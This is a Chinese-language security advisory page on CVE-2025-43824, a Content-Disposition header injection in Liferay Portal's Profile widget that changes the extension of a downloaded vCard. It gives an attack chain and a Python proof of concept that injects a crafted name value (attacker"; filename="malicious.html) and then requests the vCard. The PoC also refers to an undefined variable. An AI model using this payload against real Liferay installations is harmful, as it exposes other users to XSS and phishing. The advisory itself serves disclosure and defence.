IPBUF安全漏洞报告
English
CVE-2025-43824 CVSS 5.4 中危

CVE-2025-43824 Liferay Portal Profile组件vCard文件扩展名操控漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-43824
漏洞类型
HTTP响应头注入/文件扩展名操控
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Liferay Portal 和 Liferay DXP

相关标签

Content-Disposition注入HTTP响应头注入文件扩展名操控Liferay PortalLiferay DXPvCardXSS中危漏洞CVE-2025-43824已认证攻击

漏洞概述

CVE-2025-43824是Liferay Portal及其商业版本Liferay DXP中Profile widget(个人资料组件)存在的一个安全漏洞。该漏洞源于Profile组件在生成vCard(虚拟名片)文件下载时,未对用户姓名进行充分的过滤和转义处理,直接将其嵌入到HTTP响应的Content-Disposition头部字段中。攻击者(远程已认证用户)可以通过修改其个人资料中的姓名字段,注入特殊字符(如双引号、分号等),从而篡改Content-Disposition头部的filename参数,实现下载文件扩展名的任意更改。例如,攻击者可以将原本的.vcf文件更改为.html或.exe等可执行扩展名,结合其他攻击手段(如钓鱼攻击或恶意文件分发),可能对其他用户造成安全威胁。该漏洞的CVSS 3.1评分为5.4,属于中等严重等级。攻击需要网络访问、低权限认证以及用户交互(如下载文件),影响范围包括机密性和完整性的低程度损害。Liferay官方已在2025年10月6日发布安全公告,并提供了相应的修复补丁。该漏洞影响多个Liferay版本,包括Liferay Portal 7.4.0至7.4.3.111以及Liferay DXP 2023.Q3、2023.Q4等多个季度版本。

技术细节

从技术层面分析,该漏洞的核心问题在于Content-Disposition头部注入(Header Injection)。HTTP协议中的Content-Disposition头部用于指示浏览器如何处理下载的文件,其典型格式为:Content-Disposition: attachment; filename="example.vcf"。当filename参数的值由用户可控输入(如用户姓名)拼接而成,且未进行适当的转义处理时,攻击者可以通过在姓名中插入特殊字符来破坏原有的头部结构。具体而言,攻击者可以在个人资料姓名中插入双引号(")来提前关闭filename字段,然后注入新的参数或修改文件扩展名。例如,构造姓名为:victim"; filename="malicious.html,下载时服务器返回的Content-Disposition头部将变为:Content-Disposition: attachment; filename="victim"; filename="malicious.html",部分浏览器或客户端可能会解析为第二个filename参数,从而下载到扩展名为.html的文件。攻击者进一步可以将.html文件中嵌入恶意JavaScript代码,当其他用户打开下载的文件时,将触发跨站脚本攻击(XSS)。利用条件包括:1)攻击者需要拥有有效的Liferay账户(低权限即可);2)攻击者需要修改自己的个人资料姓名;3)需要诱导其他用户下载该攻击者的vCard文件或访问相关页面。该漏洞利用难度较低,但需要用户交互配合,且影响范围有限。

攻击链分析

STEP 1
步骤1:获取认证账户
攻击者首先需要在目标Liferay Portal上注册或获取一个低权限账户,作为后续攻击的基础。
STEP 2
步骤2:注入恶意文件名
攻击者登录后,访问个人资料设置页面,将姓名字段修改为包含特殊字符的恶意payload,如插入双引号和filename参数,试图篡改Content-Disposition头部。
STEP 3
步骤3:触发vCard下载
当其他用户查看攻击者的个人资料并下载vCard名片时,服务器返回的Content-Disposition头部将包含被篡改的filename参数,导致文件扩展名被更改。
STEP 4
步骤4:实施进一步攻击
攻击者可以利用更改后的文件扩展名(如.html),结合vCard内容中嵌入的恶意JavaScript代码,当受害者打开下载的文件时触发XSS攻击或钓鱼攻击。
STEP 5
步骤5:扩大影响范围
通过社会工程学手段诱导更多用户下载被篡改的vCard文件,或利用XSS窃取用户会话、敏感信息,实现攻击的进一步扩散。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-43824 PoC - Content-Disposition Header Injection via Profile Name # Vulnerability: Liferay Portal Profile widget allows file extension manipulation # via unsanitized user name in Content-Disposition header when downloading vCard import requests TARGET_URL = "https://liferay.example.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Login to Liferay Portal session = requests.Session() login_data = { "_com_liferay_login_web_portlet_LoginPortlet_formDate": "", "_com_liferay_login_web_portlet_LoginPortlet_login": USERNAME, "_com_liferay_login_web_portlet_LoginPortlet_password": PASSWORD, "_com_liferay_login_web_portlet_LoginPortlet_checkboxNames": "rememberMe" } session.post(f"{TARGET_URL}/web/guest/home", data=login_data) # Step 2: Update profile name with malicious payload # The payload injects a new filename parameter to change file extension malicious_name = 'attacker"; filename="malicious.html' profile_data = { "_com_liferay_profile_web_portlet_ProfilePortlet_formDate": "", "_com_liferay_profile_web_portlet_ProfilePortlet_firstName": malicious_name, "_com_liferay_profile_web_portlet_ProfilePortlet_lastName": "Test", "_com_liferay_profile_web_portlet_ProfilePortlet_emailAddress": "[email protected]" } session.post(f"{TARGET_URL}/group/control_panel/manage?p_p_id=com_liferay_profile_web_portlet_ProfilePortlet", data=profile_data) # Step 3: Trigger vCard download and observe manipulated Content-Disposition header response = session.get(f"{TARGET_URL}/c/portal/profile/vcard/{USER_SCREENNAME}") print("Content-Disposition Header:") print(response.headers.get("Content-Disposition")) # Expected output: attachment; filename="attacker"; filename="malicious.html" # Browser may interpret this as downloading a .html file instead of .vcf # Step 4: The downloaded file can now be crafted as HTML with embedded JavaScript # for further XSS attacks when opened by victims

影响范围

Liferay Portal 7.4.0 - 7.4.3.111
Liferay DXP 2023.Q4.0 - 2023.Q4.5
Liferay DXP 2023.Q3.1 - 2023.Q3.8
Liferay DXP 7.4 GA - update 92
Liferay Portal 旧版不受支持版本

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在Web应用防火墙(WAF)或反向代理层面配置规则,过滤和检测Content-Disposition头部中的异常字符(如双引号、分号等);2)对用户姓名等个人资料字段实施输入验证,限制特殊字符的使用;3)监控异常的vCard下载请求和Content-Disposition头部内容;4)限制低权限用户修改个人资料姓名的权限;5)建议用户不要随意下载和打开来源不明的vCard文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表